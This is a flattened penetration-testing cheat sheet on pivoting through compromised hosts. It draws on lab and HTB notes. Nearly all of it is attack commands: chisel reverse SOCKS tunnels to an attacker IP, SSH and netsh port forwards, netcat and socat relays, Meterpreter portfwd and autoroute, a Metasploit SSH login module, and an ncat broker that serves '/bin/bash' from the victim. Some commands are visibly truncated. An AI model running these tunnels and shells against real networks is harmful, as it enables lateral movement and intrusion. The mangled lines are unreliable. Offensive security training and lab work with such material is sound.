PIVOTING: Pivot Chisel : ################################# Attacker Machine ######################## ./chisel server -p 8080 --reverse #################################### Pivot Machine ######################## chisel.exe client attacker_ip:8080 R:socks ############################### Proxychains.conf ########################## socks5 127.0.0.1 1080 1112 ################################## Nmap Scan ############################## Always better to transfer binaries and scan from the pivot nmap.exe -sC -sV 10.10.10.10 -Pn -T5 // From Pivot machine proxychains nmap 10.10.10.10 -T5 -Pn -sT // From Kali Machine ################################### Gobuster ############################## gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/direct Pivot via SSH key (HTB Nibbles) ssh -i root.key -L9000:web_ip:port ssh_ip Ex : ssh -i root.key -L9000:10.10.10.75:80 10.10.10.73 Pivot via root password (HTB Sense) ssh -D1080 pivot_ip Burp -> user options -> socks proxy -> use socks proxy vi /etc/proxychains.conf Change socks4(metasploit) to socks5(ssh) proxychains curl -k https://10.10.10.60 [ -k to ignore SSL] netsh Port Proxy: pivot c:\> netsh interface portproxy add v4tov4 listenport=4000 listenaddress=0.0.0.0 connectport=22 connectaddress=victim.tgt attacker $ ssh victimadmin@pivot.tgt SSH trail through Linux: attacker $ ssh pivotAdmin@pivot.tgt pivot $ ssh victimAdmin@victim.tgt PowerShell sessions through Windows: attacker PS C:\> EnterPsSession –ComputerName pivot.tgt Or RDP session over Windows: attacker c:\> mstsc.exe /v:Pivot.tgt psexec.exe Now, with command execution on pivot: pivot C:\> ssh victimadmin@victim.tgt No SSH available? How about PuTTY? SSH Pivots Require an sshd Setting: Set GatewayPorts yes in /etc/ssh/sshd_config, then: pivot # systemctl restart sshd attacker $ ssh -fNL 1337:victim.tgt:22 pivoter@pivot.tgt attacker $ ssh victimadmin@localhost -P 1337 SSH Local Port Forward attacker $ ssh -fNR 4000:victim.tgt:22 pivoter@pivot.tgt attacker $ ssh victimadmin@pivot.tgt -P 4000 ProxyChains: attacker $ ssh pivotadmin@pivot.tgt -D 9050 -fN Proxychains: attacker $ proxychains ssh victimadmin@victim.tgt And check /etc/proxychains.conf Some SSH Command Line Options: -f put ssh in the background after connecting -N don’t execute a command; just forward some ports -P num use “num” port for ssh Netcat Port Forward: pivot $ cd /tmp && mknod backpipe p pivot $ nc -lvp 4000 0backpipe attacker $ ssh victimadmin@pivot.tgt -P 4000 Meterpreter Port Forward: pivot Meterpreter > portfwd add –l 4000 –p 22 –r victim.tgt attacker $ ssh victimadmin@pivot.tgt -P 4000 Metasploit/Meterpreter Autoroute: pivot Meterpreter > run post/multi/manage/autoroute SUBNET=pivotSubnet CMD=add pivot Meterpreter > background pivot msf > use scanner/ssh/ssh_login pivot msf > set RHOSTS victim.tgt pivot msf > set USERNAME victimAdmin pivot msf > set PASSWORD victimPass pivot msf > run Socat Port Forward: pivot $ socat TCPLISTEN:4000,fork TCP:victim.tgt:22 attacker $ ssh victimadmin@pivot.tgt -P 4000 Ncat Connection Brokering: Assumes code execution on victim pivot$ ncat -vlp 4000 --broker victim$ ncat pivot.tgt 4000 -e /bin/bash attacker$ ncat pivot.tgt 4000 Method 1: Pivot with SSH & ProxyChains This method leverages SSH with dynamic port forwarding to create a socks proxy, with proxychains to help with tools that can't use socks proxies. Setting up the tunnel First login with SSH using dynamic port forwarding. ssh -D localhost:9000 -f -N pentester@localhost -p 20022 Setup ProxyChains in /etc/proxychains4.conf, add the following to the end of the file: socks5 127.0.0.1 9000 $ proxychains nmap -sV webgoat Method 2: Pivot With Meterpreter and socks proxy Setup the connection and run a socks proxy over meterpreter: docker exec -it pivots_metasploit_1 /bin/bash $ proxychains nmap -sT -P0 -p8080,9001 172.20.0.3 Method 3: Pivot over a Ncat or Netcat relay Tunnel as http proxy with ncat ## Target machine - setup ncat listener ncat -vv --listen 3128 --proxy-type http ## attacker machine (metasploit) $ tail /etc/proxychains.conf -n 3 proxychains nmap -sT -P0 -p8080,9001 172.20.0.2 Reverse tunnel a single port with ncat # On attacker / metasploit machine $ docker exec -it pivots_metasploit_1 /bin/bash $ ncat -lv --broker -m2 8080 # On ssh / box to pivot from $ ssh pentester@localhost -p 20022 ncat -v metasploit 8080 -c "ncat -v webgoatlocal 8080" Tunnel with netcat: # Make backpipe to pass data around mknod pivot p # Setup the listener on pivot machine - forward traffic the # pivot machine receives on port 8080 to the webgoat server # port 8080 nc -l -p 8080 0pivot ## On attacker machine (metasploit) root@12f888991729:/$ wget ssh:8080/WebGoat Saving to: ‘WebGoat' Method: Installing tools on the target machine: SSH pivot ssh -D localhost: -f -N @ Metasploit with Meterpreter msf5 >route add [*] Route added msf5 > use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) > set SRVPORT 9050 SRVPORT => 9050 msf5 auxiliary(server/socks4a) > run -j Ncat HTTP proxy $ ncat -vv --listen 3128 --proxy-type http Ncat Port Forwarder On attacker machine: $ ncat -lv --broker -m2 On pivot machine: $ ncat -v -c "ncat -v 0 1>pivot Proxychains Setup Install and configure proxychains tail /etc/proxychains.conf #socks4 127.0.0.1 9050 http 172.21.0.3 3128 # Dynamic SSH Pivoting Command using proxy chains ssh -D 127.0.0.1:9050 root@192.168.2.2 Meterpreter Pivoting Cheatsheet: portfwd add –l 3389 –p 3389 –r target-host Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell portfwd delete –l 3389 –p 3389 –r target-host Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell portfwd flush Meterpreter delete all port forwards portfwd list Meterpreter list active port forwards run autoroute -s 192.168.15.0/24 Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0 run autoroute -p Meterpreter list all active routes route Meterpreter view available networks the compromised host can access route add 192.168.14.0 255.255.255.0 3 Meterpreter add route for 192.168.14.0/24 via Session 3. route delete 192.168.14.0 255.255.255.0 3 Meterpreter delete route for 192.168.14.0/24 via Session 3. route flush Meterpreter delete all routes In order to connect to the compromised machine you would run: Connect to RDP via Meterpreter Port Forward rdesktop 127.0.0.1 SSH Pivoting using Proxychains Dynamic SSH Pivoting Command using proxy chains ssh -D 127.0.0.1:9050 root@192.168.2.2